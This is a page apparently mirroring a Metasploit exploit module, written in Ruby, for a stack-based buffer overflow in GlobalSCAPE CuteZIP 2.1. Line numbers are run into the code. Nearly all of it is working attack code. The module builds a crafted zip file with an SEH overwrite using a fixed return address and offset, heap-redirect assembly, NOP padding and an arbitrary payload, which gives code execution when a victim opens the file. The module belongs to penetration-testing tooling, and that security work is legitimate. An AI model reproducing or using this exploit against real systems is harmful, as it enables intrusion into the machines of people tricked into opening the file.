Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/cutezip_bof.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'67class MetasploitModule < Msf::Exploit::Remote8Rank = NormalRanking910include Msf::Exploit::FILEFORMAT11include Msf::Exploit::Remote::Seh1213def initialize(info = {})14super(update_info(info,15'Name' => 'GlobalSCAPE CuteZIP Stack Buffer Overflow',16'Description' => %q{17This module exploits a stack-based buffer overflow vulnerability in version 2.118of CuteZIP.1920In order for the command to be executed, an attacker must convince the target user21to open a specially crafted zip file with CuteZIP. By doing so, an attacker can22execute arbitrary code as the target user.23},24'License' => MSF_LICENSE,25'Author' =>26[27'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc28'juan vazquez' # Metasploit29],30'References' =>31[32[ 'OSVDB', '85709' ],33[ 'EDB', '16162' ],34[ 'BID', '46375' ]35],36'Platform' => [ 'win' ],37'Payload' =>38{39'BadChars' => "",40'DisableNops' => true,41'Space' => 3000 # Limit due to the heap chunk size where the payload is stored42},43'Targets' =>44[45[46# Tested successfully on:47# * Windows XP SP348# * Windows Vista SP249# * Windows 7 SP150# (NO DEP)51'CuteZIP 2.1 / Windows Universal',52{53'Ret' => 0x0040112F, # pop, pop, ret from CuteZIP.exe54'Offset' => 1148,55'Nops' => 39856}57],58],59'DisclosureDate' => '2011-02-12',60'DefaultTarget' => 0))6162register_options(63[64OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])65])6667end6869def exploit7071redirect_heap = <<-ASM72popad73popad74popad75push ecx76pop eax77call eax78ASM7980crafted_file = rand_text(target['Offset'])81crafted_file << generate_seh_record(target.ret)82crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string83crafted_file << make_nops(1) * target['Nops']84crafted_file << payload.encoded8586# Create the file87zip = Rex::Zip::Archive.new88xtra = rand_text(4)89zip.add_file(crafted_file, xtra)9091print_status("Creating '#{datastore['FILENAME']}' file...")92file_create(zip.pack)93end94end959697